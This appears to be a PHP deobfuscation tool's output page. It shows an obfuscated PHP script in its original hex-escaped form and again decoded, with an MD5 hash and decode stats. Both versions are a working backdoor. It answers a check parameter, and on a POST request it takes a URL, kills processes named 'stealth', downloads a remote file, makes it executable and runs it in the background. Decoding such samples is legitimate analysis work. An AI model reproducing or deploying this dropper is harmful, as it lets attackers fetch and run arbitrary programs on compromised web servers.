Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto O5553; O4414: echo "\x61\x75\x78\x36\124\x68\x65\x69\157\107\150\165\x65\121\x7..

Decoded Output download

<?php goto O5553; O4414: echo "aux6TheioGhueQu3"; goto O7224; O2624: chmod($O9396, 0755); goto O5192; O7289: O8361: goto O6946; O7255: file_put_contents($O9396, $O8161); goto O2624; O5553: error_reporting(0); goto O6569; O8241: @unlink($O9396); goto O9662; O9181: O9572: goto O9731; O6569: if (!($_GET["cg"] == "chk")) { goto O9572; } goto O4414; O7224: die; goto O9181; O3454: $O9396 = substr(str_shuffle(str_repeat($O1256 = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", ceil(6 / strlen($O1256)))), 1, 6); goto O4093; O6421: exec("pkill -f -9 stealth"); goto O2074; O9662: exec("pkill -9 -f stealth"); goto O6421; O6724: if (empty($O4120)) { goto O8361; } goto O8241; O4093: $O4120 = $_POST["url"]; goto O6724; O1653: echo "ok"; goto O7289; O9731: if (!($_POST["cp"] == "download")) { goto O4600; } goto O3454; O8799: exec($O2187); goto O1653; O5192: $O2187 = "./{$O9396} > /dev/null 2>/dev/null &"; goto O8799; O2074: $O8161 = file_get_contents(trim($O4120)); goto O7255; O6946: O4600: 
 ?>

Did this file decode correctly?

Original Code

<?php goto O5553; O4414: echo "\x61\x75\x78\x36\124\x68\x65\x69\157\107\150\165\x65\121\x75\63"; goto O7224; O2624: chmod($O9396, 0755); goto O5192; O7289: O8361: goto O6946; O7255: file_put_contents($O9396, $O8161); goto O2624; O5553: error_reporting(0); goto O6569; O8241: @unlink($O9396); goto O9662; O9181: O9572: goto O9731; O6569: if (!($_GET["\143\x67"] == "\x63\150\x6b")) { goto O9572; } goto O4414; O7224: die; goto O9181; O3454: $O9396 = substr(str_shuffle(str_repeat($O1256 = "\x30\61\62\63\x34\65\x36\67\x38\71\x61\x62\x63\x64\145\146\147\150\x69\x6a\153\x6c\155\156\157\x70\161\162\163\164\x75\x76\x77\170\171\x7a\101\x42\x43\x44\x45\106\107\x48\111\x4a\113\114\115\x4e\117\120\121\122\123\124\125\x56\x57\130\x59\132", ceil(6 / strlen($O1256)))), 1, 6); goto O4093; O6421: exec("\x70\153\151\154\x6c\x20\x2d\x66\x20\55\x39\40\163\164\x65\141\x6c\164\150"); goto O2074; O9662: exec("\x70\153\x69\154\154\x20\55\x39\x20\x2d\146\x20\x73\x74\145\141\x6c\x74\x68"); goto O6421; O6724: if (empty($O4120)) { goto O8361; } goto O8241; O4093: $O4120 = $_POST["\x75\x72\x6c"]; goto O6724; O1653: echo "\x6f\x6b"; goto O7289; O9731: if (!($_POST["\x63\160"] == "\144\157\167\x6e\154\157\x61\144")) { goto O4600; } goto O3454; O8799: exec($O2187); goto O1653; O5192: $O2187 = "\56\x2f{$O9396}\40\76\40\57\144\145\x76\x2f\156\165\x6c\154\40\62\76\x2f\x64\x65\166\x2f\156\x75\154\154\40\x26"; goto O8799; O2074: $O8161 = file_get_contents(trim($O4120)); goto O7255; O6946: O4600:

Function Calls

None

Variables

None

Stats

MD5 47381b92bc4352a5c760b072e302b657
Eval Count 0
Decode Time 141 ms